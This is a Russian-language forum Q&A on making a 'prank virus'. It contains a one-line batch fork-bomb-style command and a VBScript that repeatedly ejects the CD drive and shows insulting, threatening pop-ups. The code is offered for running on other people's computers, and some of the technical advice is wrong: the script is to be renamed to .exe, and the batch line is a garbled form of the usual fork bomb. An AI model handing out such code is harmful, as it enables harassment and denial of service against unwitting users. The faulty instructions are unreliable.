как создать вирус-прикол своими руками?

Вот видеоурок по созданию такого прикола.
http://www.youtube.com/watch?v=39wwPYzomv4

вбей в бат-файл одну строчку

%1|%1

Запусти батник и радуйся

Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count Then
For i = 0 To mechaniky.Count - 1
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

msgbox "Сорри за дисковод просто проверил хД"

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Ты даун? ",0, "Вопросик",4+16
i=i-1
wend

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Ах значит нет хД",0, "Вопросик",0+0
i=i-1
wend

msgbox "тогда здохни на"

mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

msgbox "нравиться? xD"

mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

msgbox "ещё раз? ок"
mechaniky.Item(i).Eject

msgbox "ща мне лень закрывать закрой сам дисковод ))))"
msgbox "ну чо закрыл ?"
msgbox "Если лень закрывать давай я сам"

mechaniky.Item(i).Eject

msgbox "Если у тебя он щас закрылся всё нормально если нет то закрой )))"

mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

msgbox "скажи пасиб я его закрыл )))"
msgbox "ну ладн я от тебя оцтану токо ща пага"

mechaniky.Item(i).Eject
msgbox "Паг не закрывай дай позырить"
msgbox "Ага"
msgbox "не интересно (((("

mechaniky.Item(i).Eject

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Оцтать? ",0, "Вопросик",4+16
i=i-1
wend

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "ну ладн ок я пошёл ок? ",0, "Вопросик",0+0
i=i-1
wend

msgbox "давай пока Но токо попробуй меня удалить а то я к тебе вернусь "

mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

msgbox "это я те так для прафилактики"

Next
End If

это всё в блокнот копируешь и меняешь разрешение на .ехе

а что за радость